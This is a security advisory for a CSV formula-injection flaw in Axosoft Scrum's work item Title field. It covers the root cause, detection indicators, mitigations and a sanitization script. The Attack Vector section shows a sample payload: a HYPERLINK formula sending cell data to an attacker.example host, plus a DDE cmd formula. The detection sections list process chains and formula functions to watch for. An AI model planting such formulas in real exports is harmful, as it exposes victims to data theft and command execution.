CVE-2025-11279: Axosoft Scrum CSV Injection Vulnerability

CVE-2025-11279 Overview

CVE-2025-11279 is a CSV injection vulnerability in Axosoft Scrum and Bug Tracking version 22.1.1.11545. The flaw resides in the Add Work Item Page component, where the Title argument is not sanitized before being written to exported data. An authenticated remote attacker can inject spreadsheet formulas through this field. When a user later opens the exported CSV file in a spreadsheet application, the formula executes in that user's context. The exploit is public, and the vendor did not respond to disclosure attempts. This weakness is tracked under CWE-74 (Improper Neutralization of Special Elements in Output).

Critical Impact

An authenticated attacker can plant malicious spreadsheet formulas that execute when victims open exported reports, enabling data exfiltration or command execution on the victim's workstation.

Affected Products

• Axosoft Scrum and Bug Tracking 22.1.1.11545
• Component: Add Work Item Page
• Vulnerable input: Title field

Discovery Timeline

• 2025-10-05 - CVE-2025-11279 published to NVD
• 2026-06-17 - Last updated in NVD database

Technical Details for CVE-2025-11279

Vulnerability Analysis

The vulnerability stems from improper neutralization of formula-triggering characters in the Title field of the Add Work Item Page. Axosoft accepts input beginning with characters such as =, +, -, or @ and stores it verbatim. When work items are later exported to CSV, the stored payload is written without escaping. Spreadsheet applications like Microsoft Excel and LibreOffice Calc interpret those leading characters as formula operators. The formula executes with the privileges of the user opening the file, not the attacker who injected it. This shifts the impact from the application server to downstream consumers of exported data.

Root Cause

The root cause is missing output-side sanitization when serializing user-controlled fields into CSV documents. Axosoft treats the Title value as plain text at storage time and does not prefix formula operators with a safe character such as a single quote or apostrophe during export. [CWE-74] classifies this as improper neutralization of special elements in downstream output.

Attack Vector

An attacker with low privileges creates a work item and supplies a payload in the Title field, for example =HYPERLINK("http://attacker.example/steal?d="&A1,"Click") or =cmd|'/c calc'!A1 on Windows targets. The attack requires user interaction: a project administrator or teammate must export the work item list and open the resulting CSV in a spreadsheet program. Once opened, the formula fires and can leak cell contents, invoke external programs through DDE-style syntax on legacy configurations, or lure the victim through crafted hyperlinks. The public exploit demonstrates the injection primitive against the described endpoint.

Detection Methods for CVE-2025-11279

Indicators of Compromise

• Work item titles that begin with =, +, -, @, tab (0x09), or carriage return (0x0D) characters.
• Exported CSV or XLSX files from Axosoft containing formulas referencing external URLs, HYPERLINK, WEBSERVICE, IMPORTXML, or DDE/cmd syntax.
• Outbound network requests from user workstations to unfamiliar domains immediately after opening an Axosoft export.

Detection Strategies

• Scan the Axosoft database and export archives for work item Title values whose first character matches formula operators.
• Alert on process creation chains where excel.exe, soffice.bin, or wps.exe spawns cmd.exe, powershell.exe, mshta.exe, or rundll32.exe.
• Monitor endpoint DNS and proxy logs for lookups initiated by spreadsheet processes shortly after a CSV file open event.

Monitoring Recommendations

• Enable auditing on Axosoft export actions and correlate them with subsequent workstation activity.
• Deploy DLP rules that inspect CSV exports for leading formula characters before distribution.
• Track work item creation by low-privilege accounts to identify anomalous title patterns.

How to Mitigate CVE-2025-11279

Immediate Actions Required

• Restrict work item creation privileges to trusted users until a vendor patch is available.
• Sanitize CSV exports by prefixing any cell starting with =, +, -, @, tab, or CR with a single quote before distribution.
• Configure spreadsheet clients to disable automatic execution of DDE, external links, and WEBSERVICE functions.
• Audit existing work items and export archives for suspicious Title values and remediate before further exports.

Patch Information

No vendor patch has been published. According to the CVE record, Axosoft was contacted about this issue but did not respond. Monitor the VulDB entry for CVE-2025-11279 for updates on any future advisory. Until a fix is released, treat all Axosoft CSV exports as untrusted input.

Workarounds

• Export work items to formats that do not evaluate formulas, such as JSON or plain text, instead of CSV or XLSX.
• Open exports only inside a hardened sandbox or a spreadsheet viewer with formula execution disabled.
• Enforce Group Policy settings that block Office applications from launching child processes and disable DDE server functionality.

# Example post-export sanitization: prefix any formula-leading cell with a single quote
awk -F',' 'BEGIN{OFS=","} { for(i=1;i<=NF;i++){ c=substr($i,1,1); if(c=="="||c=="+"||c=="-"||c=="@"){ $i="\\x27" $i } } print }' axosoft_export.csv > axosoft_export_safe.csv